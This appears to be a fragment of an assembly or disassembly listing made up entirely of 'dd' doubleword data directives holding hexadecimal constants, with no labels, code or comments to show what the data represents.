		dd 919CB468h, 0A9E0A4A8h, 0B4E2B100h, 0AA97393Ch, 7401E034h
		dd 3D1C148Ah, 6C13F4FDh, 0CBF08C35h, 2CB1EFF2h,	84774607h
		dd 0D8A07A40h, 0A07004Dh, 6018C42Fh, 54076C2Dh,	0B1DDEFEAh
		dd 61B6ACF0h, 0A9A50097h, 37AFE99Ch, 34006253h,	527B0880h
		dd 0C761E8F0h, 549BC010h, 37908C50h, 0C91A8A03h, 0AC408749h
		dd 3EAECE4h, 0F08FA23Eh, 58247706h, 6B889C47h, 1A4689B5h
		dd 4F626410h, 8A004698h, 0BB684D79h, 98557E0Bh,	25367180h
		dd 881D1D7h, 0BE27CF9Ch, 0F0F1A669h, 50CD00BEh,	9C904B86h
		dd 8024B19Ah, 0AEC13702h, 32004A8Eh, 0C6A99560h, 0E6CA766Fh
		dd 144EA6Dh, 1247C0D4h,	40FA6CB6h, 890157B0h, 0EE124C94h
		dd 69176420h, 24D50F0Ch, 26C0C2A7h, 0B6C3EAC7h,	0A431AD3Ah
		dd 820CD450h, 1240B816h, 529F141Dh, 300400D4h, 0D3011913h
		dd 8C9A5E7Ch, 0C1406B10h, 6C81B714h, 24901411h,	4A406C1Eh
		dd 39D5A06Fh, 5180AC8Eh, 56ED28F7h, 3B1654BDh, 0DF035A4Dh
		dd 8065C218h, 309D05EAh, 1549F7D1h, 22006F60h, 58ABBD3Dh
		dd 0C15BAFh, 52F41BC4h,	8E2E8B6Bh, 51386100h, 560D7089h
		dd 0E7BB05F8h, 81E35FABh, 62988A8Ch, 1FC93E88h,	9868491Dh
		dd 0CBAE8D0Fh, 69C0D815h, 0A07C3FD6h, 99F33080h, 2F2BE568h
		dd 0C0912226h, 94004592h, 7B9C5274h, 50E64C7Fh,	0F5D51A01h
		dd 3891BE38h, 9EBF11FCh, 667EA403h, 0CCE10D22h,	28E70A9h
		dd 13FFD816h, 50B72C45h, 0E93C80C8h, 9735A600h,	6B80B100h
		dd 352A4DBh, 0D0C0546Ah, 298F611Ch, 64501E6Ch, 58C2BC70h
		dd 5BE3957h, 69CC20AAh,	600BF8A1h, 131F19B1h, 0F3FFD0FCh
		dd 862F074Ch, 6028DCE7h, 38B4D746h, 0AA0A7F75h,	94E12D85h
		dd 0DA89419h, 8A940014h, 4718A4F5h, 82A128C4h, 6C20D532h
		dd 0EB203E5h, 5383F9E1h, 0DCB9710Ch, 8ABE7900h,	88067B35h
		dd 9AA80066h, 0A60AA730h, 0B8093491h, 12BC3657h, 12D40294h
		dd 45C0C08Ah, 0A603124Dh, 6A582351h, 0C246C5FFh, 8710214Ch
		dd 0F2AF0FE3h, 6A69B5A1h, 0CD5CD021h, 40D810F6h, 0C7689631h
		dd 68F710A0h, 12028F34h, 8D13CC9Bh, 1DB0A1C6h, 0D212BFB0h
		dd 32D77490h, 0F09ECC3Fh, 90CACF30h, 89391FEAh,	0DEB060E0h
		dd 9022F500h, 3B40B519h, 299D00A9h, 5C35F675h, 0B74CA508h
		dd 575E0478h, 38C086D8h, 63F0996Eh, 1816C161h, 0D7B8F850h
		dd 3746A520h, 0C569AB9Ch, 3C900231h, 1C02F6C6h,	9C484847h
		dd 0E4A8A899h, 159F01ADh, 8D1DCC27h, 0C8E045ACh, 97009B50h
		dd 7101C56Fh, 19620D0h,	7240C77Dh, 51D5E26Ah, 0FCDE61B8h
		dd 272956A2h, 6F07BC42h, 0A6B0F5E2h, 0A69D108h,	54526DE6h
		dd 0C42910A0h, 450092E2h, 92E03DDh, 0FDAD8C0h, 4B178187h
		dd 0C2BC74ACh, 6B2F364Ch, 0B6130503h, 0ACEF2808h, 4B4F0004h
		dd 0BA1C9B88h, 98D16818h, 34A5D9h, 46B35612h, 9F31144Fh
		dd 0AAE092E0h, 4A104D5Dh, 79894420h, 0FE157B86h, 0F8EB0CF3h
		dd 6612BC11h, 5CB97C01h, 6BD9E8D6h, 1EC60883h, 0F9911B3h
		dd 8E4784Eh, 5061B02h, 1F3C8840h, 1291164h, 0C6F46853h
		dd 4160867Dh, 0CBF82E66h, 111D1390h, 9C22CC86h,	0AAC58407h
		dd 67E758D4h, 47F05321h, 36007029h, 89AB506Ah, 1E141246h
		dd 11444DE3h, 1D110713h, 0F86B3189h, 69005FF9h,	0EE0727F2h
		dd 0E95665ACh, 93F0CE82h, 0F48EA0B8h, 0D7E0CAB2h, 884882Ch
		dd 0A60C1C84h, 4FE0661Fh, 317F7380h, 20FC8CEh, 20E35D1Dh
		dd 22504D26h, 5EBE0987h, 34489C1Eh, 29FE42B7h, 0EDA97A1Fh
		dd 0DB43A280h, 1C46AC1Dh, 2D61B47h, 3BCFDCB4h, 291E7461h
		dd 0E9820030h, 0C5959AD4h, 7EA0090Ah, 5418AAF8h, 8D3D0EE8h
		dd 7830470h, 0C32DFEh, 0EC794898h, 50E59101h, 0C156D9ADh
		dd 24CC7247h, 4880AC36h, 60AF9840h, 8E45391Bh, 9B9CD380h
		dd 57A090DAh, 4BDCB21Fh, 0B1309877h, 2A4556Ch, 46429495h
		dd 0F4F1997Ah, 6871EC00h, 0E5F401F2h, 5600A872h, 8DD36186h
		dd 503BCA6Dh, 0BC0D1E7Ch, 0A7DE6800h, 1856AC2Bh, 0B994BB36h
		dd 80A8431Eh, 1700200Bh, 5FD7B49Bh, 0EF02DCh, 7ED55871h
		dd 0FB3A96DAh, 0C091F5FAh, 3C280496h, 6F507D3h,	632403C9h
		dd 0C002F336h, 0BD3EDF93h, 10A45068h, 10FCA1D1h, 0CC88A5BCh
		dd 0B679034Bh, 6C987B3h, 1410464Ch, 0EAE2D750h,	0EB487000h
		dd 71F3F67Bh, 6DBAA14h,	914289C8h, 321046C8h, 1200FCA6h
		dd 0AE8F97F5h, 0B2C6FDh, 41337562h, 0E2B54877h,	0B720316h
		dd 1089084Bh, 0B4245A90h, 23304024h, 0ECF6FEEFh, 88018E71h
		dd 0B077D3D1h, 12C0A7C3h, 4C242757h, 0ACF6C10h,	0B0CD60B6h
		dd 114A19EEh, 0F072C29Ch, 47F46909h, 514DDCA0h,	24000288h
		dd 27BEA36Bh, 0B09D1BDCh, 0E368061Bh, 0B80A2203h, 0CA40C496h
		dd 1D1E2A9h, 1C5C0141h
		dd 230B61E9h, 0E82E13C4h, 34EDCC8h, 5554B0EEh, 0A0080279h
		dd 96FDE147h, 0D1B48C87h, 3F95A207h, 1C144627h,	986C4888h
		dd 58A92004h, 0F0CC3112h, 0F70B90A4h, 0DB21FC22h, 93095588h
		dd 5ACC91A7h, 192DE301h, 83DCA0EEh, 0B33411h, 0B94E0BFDh
		dd 0F227A75Eh, 70630D34h, 87D8891h, 1CD0B214h, 0F747CF1Ch
		dd 378234F5h, 893EC3EEh, 202B93F2h, 0DBEA68B8h,	0B111E50Fh
		dd 0DC8B8092h, 26166BFDh, 8A4468Eh, 7E91F945h, 11E07D00h
		dd 1FDBBD98h, 7AB42A04h, 18CCCCE2h, 27104FF8h, 0B7F38030h
		dd 10E67B4h, 20E5FBC8h,	0FE0BF54Bh, 0ED603850h,	0A6E3AD00h
		dd 13685BEFh, 44480E00h, 63C6DF8Bh, 5CF73E5Eh, 0A33D0B07h
		dd 0B7004E67h, 0E2282B3Ah, 0F70E143Eh, 0D4D5E601h, 6FAB6B84h
		dd 0EEFEADDCh, 54470079h, 15CFEBE5h, 923D1C62h,	0A2340E4Ah
		dd 7A5818E0h, 3F9E00DEh, 0D2D1A751h, 2C00F194h,	0FB4171C2h
		dd 6FA436Dh, 0F967635Bh, 4D108851h, 5C008042h, 5BBF4755h
		dd 180422A7h, 0F0D7ADD1h, 8C9F0B0Fh, 0A128F278h, 1071EA60h
		dd 0E686F0h, 9273C557h,	0E540CD0Dh, 85803F01h, 0B779E46Bh
		dd 15CE9B8h, 5FF2AD00h,	8142E0EDh, 8F3E79C0h, 9A72BBh
		dd 64380CD2h, 1A7B2CBCh, 0C6B05900h, 1B854948h,	42180202h
		dd 88246017h, 4B2620A0h, 7600CFE0h, 2883087Fh, 3DC236Dh
		dd 46BFED43h, 28240A36h, 0CC200A63h, 6ADAD0C6h,	0DF71F841h
		dd 43E006D1h, 0DC00196Bh, 0CAE9446Fh, 0FE2129F9h, 7B330368h
		dd 0AC116DD8h, 0EB28C80Ah, 0FF63C8D0h, 79D8F833h, 0B8E8504Dh
		dd 45E431ACh, 8E048A61h, 20B36269h, 0D6AD1CCCh,	0E21C0F1h
		dd 3FFE475Eh, 8C61800h,	741A2FE4h, 0D47F1B92h, 4CA09969h
		dd 0DC50AC97h, 34900F1Ch, 60C70CF7h, 0B67BD157h, 0A2543BBDh
		dd 4200E2C4h, 6EC4A5A1h, 3F20573h, 4772912Dh, 787FF65Ah
		dd 0F159F760h, 0E5D42Eh, 797EE255h, 0EAA68127h,	0D3949E15h
		dd 82C84448h, 0B20588h,	901E3231h, 0A5FC1DEh, 51059A77h
		dd 0E99979D7h, 48B58C22h, 0A8BF8A94h, 26A4CCh, 36A69B2Dh
		dd 0B8A012ABh, 66917402h, 82870165h, 1EE9A90h, 48217063h
		dd 554442DCh, 9EC54C1Fh, 0AAB66300h, 2D0CB230h,	27472800h
		dd 31DA1217h, 98B01BDh,	0AE96E492h, 0F2F18EF3h,	5E64231Fh
		dd 3D911BD0h, 4E800810h, 3E251A0h, 0E9055500h, 2208F771h
		dd 0BC485347h, 0DD48A074h, 59230FE9h, 1B290ABEh, 8B091C20h
		dd 99ED61h, 1D71D180h, 0AF378A5h, 0B399BAFEh, 1E378048h
		dd 3C8A0209h, 12080748h, 30040801h, 0F422E7F5h,	0E3100711h
		dd 0DF00A5DAh, 53FA0C37h, 50F2475Bh, 24759CDCh,	7588D01h
		dd 0B0826214h, 0AE484BB8h, 8D88F893h, 0EF791E9h, 0E706B0C3h
		dd 4D40A6ABh, 0E450B1CAh, 25F2158Dh, 0A118C05Dh, 43C1310Dh
		dd 4F642C00h, 6D35ABC3h, 449C247Bh, 841E90CCh, 9021F88Ch
		dd 9208117Fh, 41624C20h, 0DEB001E7h, 3B1A0C5Bh,	1F98C80h
		dd 57B07A4Fh, 0BF782045h, 727E8064h, 7FCF943h, 0BFDD1DA9h
		dd 60064F69h, 99FF3381h, 9483C0DBh, 0BD3BB815h,	18DA01F4h
		dd 307C8C5h, 0E855B441h, 0EE6EB808h, 0E18BF80h,	1CEA7C31h
		dd 6D7747Fh, 19DBBFF5h,	0F8095C24h, 0B8504B60h,	90E10FD9h
		dd 5E9339E6h, 9C6944F0h, 0A0348C7Bh, 4CEF6100h,	0D1326F3Ah
		dd 0BD14040Fh, 8CA898E3h, 20184F0Ch, 801142A2h,	0A9210159h
		dd 242D6986h, 0E5CD7178h, 6A19F497h, 412EBE02h,	646EC3E5h
		dd 698B30CCh, 0FA6864C1h, 8F7CC0A4h, 79F00989h,	8051EBCFh
		dd 7180E60Dh, 7B6584ABh, 0CA00F422h, 0F5024FD1h, 4C8A924Bh
		dd 34C20CC0h, 0C86179AEh, 0B2FC4C73h, 56A2A84h,	0BC284C90h
		dd 0CC9D0CC0h, 49482744h, 0F916105Ch, 58720800h, 0ED80CAB8h
		dd 2241478h, 0A460648Ch, 0B190D5BBh, 1874260Ch,	7AE06106h
		dd 80E4091Bh, 0A01480E9h, 0E8D1C041h, 24CA55BCh, 0A7C85A03h
		dd 0C83D993Bh, 1EFDF561h, 126E4A87h, 2D08040Ah,	904822F4h
		dd 18DCD688h, 61F28A93h, 0F600C822h, 7FCA276Bh,	3CEDC206h
		dd 0FD3EC6E2h, 86C93A4h, 90154C22h, 24ACB64h, 116F57A4h
		dd 0D80314ECh, 0B8994354h, 12DE3D72h, 2E3B7E0h,	83D0EFE0h
		dd 0A5FC4622h, 0E4046CB4h, 0FF0A692Bh, 0C8840EC6h, 0B4C1F2ECh
		dd 0F5F04B50h, 615D0C84h, 0B311F8A1h, 3C1CA00Fh, 0DD2460CAh
		dd 0F27249h, 43A175B9h,	0EBA6F1B0h, 0E4B48519h,	0B70C53B8h
		dd 0D090384h, 5E819E72h, 0E504597Ch, 0E4AD93DBh, 19358C81h
		dd 0AC581300h, 1EBE39C7h, 8B26000Eh, 8FC02Ch, 7CE985E8h
		dd 6995BFF4h, 0D83AE4B1h, 361517A7h, 119D7509h,	21940E38h
		dd 5EC0D075h, 3FBD8D65h, 8BC4BE00h, 0FA401977h,	39F10272h
		dd 58574170h, 5E1098E4h, 0A84C5D0Bh, 0DF530776h, 2AD182h
		dd 2892805Ah, 6920F09Ah, 39BF2881h, 0BD751B4Ch,	40877940h
		dd 0A13CB53Bh, 5A71E1C0h, 0C3AD4Ah, 6AC2D8F6h, 3189EA09h
		dd 0A87CB100h, 79D9BCECh, 933C917Dh, 8A4446B7h,	8E0659D1h
		dd 19F98C72h, 0ECE901C4h, 777EC0A3h, 0D38A705Ah, 8E000CB1h
		dd 0B8123DA2h, 0CF341F73h, 0DEE180E5h, 0E914E9Ch, 0C86B5C00h
		dd 0B9C1DCBEh, 0A0133BCEh, 0BFD854h, 0D8250604h, 23D5974Eh
		dd 64B49500h, 0EA9D423Eh, 0E5E4A891h, 4B0E8105h, 431220D0h
		dd 98A7D1Bh, 0E26093B4h, 911C8448h, 61DB6081h, 0BA348C05h
		dd 0BF3AD700h, 0A0FBE153h, 91650070h, 779B134Eh, 500035E2h
		dd 99EA29AEh, 4C5CA11Ah, 2500F014h, 91B66781h, 702E69EFh
		dd 420CA86Ah, 0F85954h,	0ED135315h, 6A5D2B2Ch, 0DF1FE60Eh
		dd 2902D63Dh, 40DB578Fh, 44E27F74h, 0AD88E98Ch,	0F872E3E8h
		dd 82A73784h, 0D4457E9Eh, 44895392h, 8439800Ch,	40779040h
		dd 1626763Ah, 804E9C56h, 0E1DB24Dh, 95A41648h, 0B69444F6h
		dd 75D2405Ah, 0B854C381h, 7B320644h, 41ED7664h,	0E5ACE01Fh
		dd 0DB205868h, 4F91005Bh, 9CBB98D7h, 6B05CE64h,	0E5E89DC6h
		dd 0A2D6071h, 0B0517212h, 446B8F08h, 0E881248Ch, 0D10EED2h
		dd 0E7090141h, 20B151E3h, 2CD7DE90h, 0D0EA2CE0h, 33FF6278h
		dd 45842060h, 0D8BB5504h, 760B05D3h, 9E173002h,	0A1112211h
		dd 924187E9h, 6A806D90h, 61F4E49h, 0A29517A7h, 0D00021DEh
		dd 18BDBA4Ah, 24E63979h, 0C60F11Dh, 0E5D1D68Ah,	990D4600h
		dd 93CD240Eh, 0B82A0082h, 9196EF59h, 0FA38D812h, 0BC8D2AE0h
		dd 70DBF4A1h, 6740B92Ch, 45790085h, 789EA188h, 0C728952Ah
		dd 8F03308Bh, 9A29C906h, 0D9EE98DFh, 62E700DEh,	2CA632CAh
		dd 21028E7Ah, 11C979D7h, 0EA046B44h, 40D325EFh,	3F93A1B0h
		dd 17009BB8h, 0A0E1EA2h, 7EA626BDh, 720F00DBh, 5AC40294h
		dd 0F05DF247h, 3C7624ACh, 2069D162h, 0DA4F8C75h, 80C449F5h
		dd 0A5D17B10h, 42429D3h, 93D2D9AAh, 0D280C415h,	50A6B590h
		dd 8A30391Fh, 0DA6BE9F9h, 78A4139Dh, 0B598098Fh, 0C108C2h
		dd 0D740175Dh, 39A18A71h, 36B0AF18h, 52193D2Ah,	7D94EF59h
		dd 0E3B17D0Bh, 40E81A87h, 849C632Ch, 52313945h,	5A188980h
		dd 65500D1Fh, 0BFD3107h, 0E907073Ch, 853800CEh,	0E532475Eh
		dd 0AE6C8C40h, 9EDC992Fh, 303C9F83h, 0EEF7A511h, 26B99F05h
		dd 3C48676Dh, 40E4443Ah, 0D7EE545Bh, 21A12ADh, 7FE80E01h
		dd 29AC3C30h, 0F81194E5h, 136A8701h, 0ED82B193h, 2C46FDAh
		dd 4F1134B2h, 93592120h, 0C83CD601h, 11ECB220h,	0FDC6463h
		dd 0AD5E0h, 5CA76F49h
		dd 434F046Ah, 89D1D692h, 2CC45D8h, 0E5748F7Fh, 24B9059h
		dd 234D72A4h, 391C3E44h, 6B00CDC4h, 69F4E093h, 533F033Bh
		dd 7E9DECCh, 0D9B2E6C0h, 93989001h, 94844722h, 0D115832h
		dd 0EC204B5Dh, 6CB525h,	13C9855Bh, 475463D7h, 0AD22B4B2h
		dd 5E46223Ah, 32530800h, 85E3EBA7h, 0A4F0E6h, 9C0A4957h
		dd 6844C806h, 12080C58h, 785D0326h, 5FE541C5h, 449B58CCh
		dd 0BC306469h, 0C6DD7134h, 82228060h, 460D0084h, 72FEB806h
		dd 14C0A65h, 1C6B300h, 0E3433C11h, 0E5094B69h, 7CC4DE2Dh
		dd 964D6A03h, 0B0B76E52h, 26699E91h, 0A6C7A4Eh,	0B749D19h
		dd 8180A17h, 0FF807F37h, 6C765C81h, 0F4C83D89h,	0E471CC6Eh
		dd 0DEB00304h, 0A08032DDh, 759AAABh, 0A7B43741h, 9E6FF12Ch
		dd 0A8C9C409h, 0E4078400h, 82F7E164h, 3C30B474h, 64EC7126h
		dd 135E3225h, 4C3C48E9h, 3D890CE8h, 3928E472h, 0FDE0092h
		dd 152E2BD8h, 7B097A7Dh, 296CF88h, 4D74E58h, 8588A26Ch
		dd 0A440583Bh, 0DE5B95F2h, 0E8079F5h, 91F6495Ah, 0D853E6E0h
		dd 932CE24Ah, 50048824h, 0A95DDF8Ah, 0AE4902F8h, 0A40980D9h
		dd 0CF402760h, 2E9E3121h, 5B1AAA00h, 20C7D228h,	541009Fh
		dd 29EC6F51h, 0D877217Ah, 0D3D8BDh, 0AA2C5944h,	0A9D40A3Ch
		dd 239E2D06h, 1D493D07h, 3E2F65BAh, 8996FC00h, 204AFFB8h
		dd 0A76DAE1Fh, 0CD0A9800h, 0C8B956Ch, 0A1470223h, 60886F39h
		dd 3B780356h, 2372CC75h, 59FE0C8h, 1A2B1400h, 0F1E1FB9Eh
		dd 22092498h, 0F38907F5h, 6211B0A5h, 23F87491h,	483C0F28h
		dd 6A7C44h, 4F688706h, 1E9D1CAh, 8B3CE001h, 1C29BB0Ah
		dd 17700D01h, 0AB0EF1D1h, 82CEE086h, 16F019B7h,	44804974h
		dd 3828013Ah, 1DC73154h, 8AB8E315h, 5250D2C1h, 0AD227798h
		dd 0A0B3A58h, 44500344h, 9088747Ch, 0DCC600EFh,	460B0EEEh
		dd 0BF013FC7h, 4419E594h, 0FD06703h, 5B260C6Eh,	6483762h
		dd 3CE93861h, 618DF9E5h, 0F0085F69h, 0EC0072D1h, 0CFEE49EBh
		dd 0F24294h, 86741CDEh,	0BD48D25Fh, 0C9B1600h, 8C29FF8Ah
		dd 0B150004Dh, 5182DE4Eh, 7118EFEBh, 295198A0h,	0BBB9C040h
		dd 41B09CA3h, 68F93Eh, 1C80905Bh, 1649F3ABh, 1D3D4D98h
		dd 59AF001Fh, 1961CF33h, 67C6903h, 3E28D2h, 0FC4F82B9h
		dd 15BBBD9Dh, 0D3B47B00h, 0E3169052h, 0B6760CD0h, 71F0996Ch
		dd 89CFA633h, 0A079E283h, 0F3233E9Ch, 7470006Ah, 0A4E54D53h
		dd 54901D58h, 44B1CA0Fh, 0BC13A7DDh, 8A3D4360h,	0E86E5AF0h
		dd 91860053h, 0B255EDFCh, 0A026524Dh, 78008422h, 65EE9DB8h
		dd 12F7283h, 0D75F17A5h, 0DCAC2289h, 51314F32h,	2EC0902Ch
		dd 49EE7103h, 22ECCAF0h, 0B0DA3700h, 0AE0C9F3Eh, 8C27246Fh
		dd 0BDE26078h, 23009348h, 0C0A9B726h, 0F2438C8h, 5575F119h
		dd 32F7B8C2h, 898A98AEh, 3C11A0h, 8DB5FA91h, 36C3DEBh
		dd 14024D4Bh, 9CA02FB8h, 0A128FAEh, 70222A47h, 204D20DFh
		dd 0F20CBD5Ah, 0B16169AFh, 340D00B9h, 1B2F6A79h, 713C07FCh
		dd 9DE18044h, 5CFF05Fh,	11A7C40h, 63138EB6h, 80471737h
		dd 0EB3243F1h, 0B8DA0CAFh, 19246059h, 10A4F85Bh, 9B035FF4h
		dd 3FDE297Eh, 0FC9FF9FAh, 102433DDh, 46B0027h, 340CF567h
		dd 8D48031Eh, 0AB02109Ch, 0A9876918h, 0C91ECAC3h, 0D4C12C15h
		dd 8B5F7E0Bh, 0C73AB040h, 32C28326h, 9A605A00h,	1B442F2Ah
		dd 7D9E3BC0h, 6624910Ah, 9F008486h, 0EF3FC843h,	3C18540Ch
		dd 0A8A949E7h, 0E21235C1h, 0BF22F884h, 56C67700h, 0EF5CDD41h
		dd 0B7EC0C23h, 9A88BA29h, 8C2A5818h, 2455960h, 0B15FE46Eh
		dd 98802906h, 24726FF1h, 641F331Ch, 0D13052C0h,	0EAB25F10h
		dd 9690FFh, 1E6F1B56h, 61D4AA44h, 6468E901h, 3521D1F3h
		dd 0FCCF0024h, 0D58C0131h, 535AF8BDh, 0BCA0E217h, 0C977D899h
		dd 15E030E1h, 4882A626h, 2A2158A8h, 18601132h, 0EC591829h
		dd 0F2F41C7Ch, 52E907C2h, 0E203725Fh, 8629E060h, 0C0966980h
		dd 6035E939h, 0AE00516Ah, 0D9DAE746h, 0E45762ACh, 48797FF3h
		dd 0A000A118h, 0FBF0810Ah, 6A005E47h, 0B75FB286h, 0EC7CD0A4h
		dd 0FF707FFh, 907A0957h, 71BC82D1h, 17309492h, 0C9EED91Bh
		dd 78430EA9h, 0C80D61Dh, 1F3B1AC4h, 50AA7A0h, 7A111891h
		dd 3992AD00h, 654A4207h, 80162738h, 1BF92F59h, 3C28BDD3h
		dd 330303E9h, 75AC7061h, 0EBCA3904h, 44C1D101h,	74082492h
		dd 0E9997484h, 0A4606702h, 226EC5Fh, 2360EC8Dh,	25AC83Eh
		dd 0D643731Bh, 0DAC08B50h, 880778C2h, 299062D0h, 50800216h
		dd 0BB78D5h, 0E669E1C1h, 26786CCCh, 5A855000h, 88CF99DFh
		dd 64D52C0Ah, 50D84A4h,	0C65009Fh, 0A1B3D76Dh, 642091F4h
		dd 52A88E0h, 1F20B60Fh,	0AF71C2D9h, 3CFC919Ch, 1210E210h
		dd 7CA8671Eh, 4E7E2C80h, 19F4BDFh, 1F23BC44h, 7AA210Bh
		dd 18880474h, 288049BAh, 1020E2Eh, 2A10771Fh, 61D9809Dh
		dd 9423B141h, 0B06C0796h, 9981BFACh, 0B2AF508Eh, 280610B0h
		dd 4F633E8Fh, 0A9FA71A3h, 0E465B123h, 0E1DCD480h, 0D4648A02h
		dd 0E5292A18h, 31714C71h, 3D3990C8h, 0B16AF456h, 800CB94Ch
		dd 0C57E17EFh, 0F1B09885h, 61F6FD10h, 12770939h, 600C9D0h
		dd 69A4837Ch, 500E72CFh, 8A0BB89Fh, 0BEF878C6h,	33017B72h
		dd 40E895Ah, 0D4401AFAh, 8B23B2D3h, 0B1C0CC9Ch,	0C1CB481Dh
		dd 0A069FF00h, 5276DDh,	0B735A4E3h, 1F293209h, 3D4799C0h
		dd 0BC754Ch, 0E1A19D51h, 34A73AEBh, 2A18B670h, 1FF805C9h
		dd 50B9F6h, 87B1ABCEh, 0CA4D10EFh, 9C502970h, 0BC400391h
		dd 0C69DF34h, 164130F7h, 0A71E1890h, 0F426D1C6h, 4D0B7861h
		dd 7C19B4C0h, 9069B0CCh, 0ABD400E0h, 58AF5F9Fh,	776439Bh
		dd 103C524Ch, 0B289B3CAh, 0F9AC9830h, 0A4A9B929h, 206A128Eh
		dd 0A5C60DDFh, 0B4BE8CDh, 3EE2B9D6h, 0CCD21400h, 0F702302Dh
		dd 72056625h, 8050E5A3h, 752AA91Eh, 3D009F4Eh, 26D09516h
		dd 16A1C3Bh, 41A4889Ah,	0D7557D56h, 0F5E59117h,	0F230471h
		dd 16B42847h, 0A40ACC9h, 147C0ECCh, 0CE243D8h, 6786D101h
		dd 4485A670h, 0D48948h,	0CE65ADBEh, 94054D7Ch, 283416D8h
		dd 0FFC9C00h, 0C98AB9h,	0FE1E9175h, 48AA0166h, 1F4EAC00h
		dd 638BD66Ch, 0B53D09D1h, 0C0A120FAh, 609B3CD2h, 0A613081Ch
		dd 50442957h, 515E5E9Eh, 2060003Eh, 1318FE05h, 54675CDh
		dd 0FB473662h, 2078CCCBh, 995B1C00h, 0FA46C0AAh, 51AD0FFDh
		dd 1EE24016h, 6128F4h, 80691263h, 0B7EFBA74h, 2B941CCBh
		dd 67FB4044h, 0CF4763C1h, 1131B000h, 0D2D4ED79h, 9FC02C4Ah
		dd 40B261C0h, 161980D5h, 0AAB45C11h, 1E41099Ah,	0E401CC6Bh
		dd 0E1649120h, 11084143h, 16144174h, 1891804Ah,	3E60F059h
		dd 7DB10049h, 0F65D08DFh, 31050786h, 3035B0EAh,	5B658841h
		dd 3430D274h, 871A00CCh, 0B282465Eh, 0AA07C3ABh, 3BB14E8Dh
		dd 0F830B9F6h, 0D2C90344h, 0FF3196FBh, 9FA51CC1h, 2479D411h
		dd 2E87601Ah, 20F748CFh, 9F745711h, 8A08F8h, 0FA175518h
		dd 11E49A62h, 0E24E1F09h, 8E7084EBh, 0F6C8340h,	6E7176EDh
		dd 0CDE82354h, 0A3D7944h, 0C496C8Bh, 0D3C42ECh,	19094044h
		dd 0A0168029h, 416CE4B8h, 2C590792h, 520A7732h,	806495AAh
		dd 6021090h, 82D23E85h,	0B0C04A99h, 16DB7F4h, 766334EFh
		dd 6174F754h, 7C50A6A9h, 22187814h, 86840020h, 1CC23114h
		dd 0C6095648h, 0B0E31F41h
		dd 0F0FA0E28h, 0D2371F5Ah, 1D20F218h, 0E52B2323h, 4BF86C08h
		dd 0E37F5090h, 0EECDC900h, 8A97AD9Dh, 3A290044h, 15C10F93h
		dd 5E13180Bh, 9C200649h, 9CC717CAh, 32058854h, 9B666580h
		dd 27F19A14h, 14108CFCh, 92E20B8Bh, 987B6302h, 802B79C9h
		dd 0F48DDEAh, 19612C4Ah, 16170430h, 0B52800ABh,	49DA0Ch
		dd 0DD7FA6C3h, 83A5550Ah, 93861001h, 25F5CA6Eh,	149F6060h
		dd 0C46928FAh, 0A6090A78h, 0CF43227h, 0F7F11E17h, 0A5F0085Fh
		dd 0CA703Dh, 26B65E82h,	9ADB149Dh, 4D8D0403h, 3C437471h
		dd 2048C808h, 49F0BC8Ah, 0F4339CB1h, 0DB002341h, 1A9F2B7Eh
		dd 0BA4E552h, 2C563160h, 0CAFFFC98h, 0EB1F9C00h, 0E8DC7DCDh
		dd 9849893h, 68A4F7C9h,	78390026h, 0C03432F1h, 2FB9F323h
		dd 81830063h, 0A81EA756h, 3B17A015h, 700573B2h,	0C44690A6h
		dd 391B29h, 0BFD25DE7h,	3AB5B70Dh, 4D7AB800h, 32A6E0Fh
		dd 91789C63h, 96C904D1h, 801DCF4Fh, 0E5CE918Dh,	7938D569h
		dd 0F6BA00AFh, 1E4CD989h, 9105785Fh, 0DF803BD0h, 0F22ECF81h
		dd 0A2001597h, 2C0D869Ch, 0A60AB9h, 9FE8CE1Bh, 0B083803Eh
		dd 71058C91h, 0B4228BC9h, 87A98h, 9A863E0Dh, 66D3037Dh
		dd 67908A1Fh, 3228E0C7h, 9EDE96A0h, 0ED445CE6h,	171F3703h
		dd 0DF0BE18h, 0F425856Ah, 54A42068h, 0EE47A7ADh, 1D1700DBh
		dd 3BE706B1h, 5300ECD6h, 0FA250E20h, 509B8411h,	44A34C79h
		dd 510CCA8Fh, 118659AFh, 7DE10065h, 397A741Eh, 2716B625h
		dd 5C04D962h, 0CE421DF1h, 6883AD82h, 0ABD97320h, 686F303Fh
		dd 0CA7F3E00h, 0FE601FEBh, 0B99B3E87h, 0B5FB289h, 7278DF07h
		dd 0A4C85328h, 99C01DBAh, 6C5A4185h, 43F209h, 0E03604C5h
		dd 738E6827h, 0DC184D00h, 0FC32BDCBh, 687F584Bh, 3C9B3D07h
		dd 8283A5D1h, 0CA2175A4h, 4F00A01h, 306C240Eh, 80C02908h
		dd 5B8CAA77h, 0C6752854h, 27F69800h, 3A4EA7BBh,	0BBCE23Ch
		dd 10246297h, 1E4D3848h, 0BA77541Fh, 1ADAB130h,	0B26F00DFh
		dd 0F102AD1Fh, 0A22E5163h, 0D51DAB3Fh, 6D4229F0h, 0F2A30753h
		dd 0E081B969h, 0B624F7DBh, 90B06AEAh, 5C2A1D44h, 3C8FF829h
		dd 50C31EAh, 9056B60Fh,	61698BD8h, 7C60E488h, 0D9280E87h
		dd 0B4E0D18Fh, 3F474516h, 17DDDC13h, 0C0BA6809h, 91054998h
		dd 789325A0h, 4D27F604h, 0B8C13536h, 985533F0h,	6D5C0CD0h
		dd 0B47600DBh, 0B18FB84Fh, 92A7746h, 0CD22BCA5h, 981BE290h
		dd 8D0D29A8h, 0CF0129Ch, 2D11B140h, 303C3F58h, 0FC3C89DCh
		dd 0EB69D61Fh, 0A9502F19h, 5B7B110h, 29092604h,	54886EEDh
		dd 0F46B0B91h, 0B89128D1h, 0BC36DC2Ah, 7706812h, 0DB7F7707h
		dd 480D5EF0h, 282000F4h, 174D53C5h, 71C29211h, 713EEAA0h
		dd 0FF3F004Ch, 0D5DC65F6h, 1EB47E00h, 0C4D150D4h, 0A01602CBh
		dd 0DF44FE1Ch, 0CA0048D1h, 7C66C71Fh, 23323A68h, 8DB04404h
		dd 594087CDh, 0F9C95801h, 5A582C1Eh, 0E53428h, 8AB23297h
		dd 0FE7E5C64h, 0DC07D4Ch, 99EAC870h, 76EC72h, 0ED85D2E0h
		dd 0A6D9FD13h, 0F2575505h, 5CC58B71h, 99ACEC98h, 0C8B290F4h
		dd 0E44449B1h, 0A6C1E300h, 76EC0607h, 287E00FCh, 6B49D0C7h
		dd 0BA100FEEh, 0D202FE9Ch, 567A04A4h, 66255878h, 3B2818CFh
		dd 945007B1h, 609EF458h, 2863685Eh, 0D290139h, 114616B2h
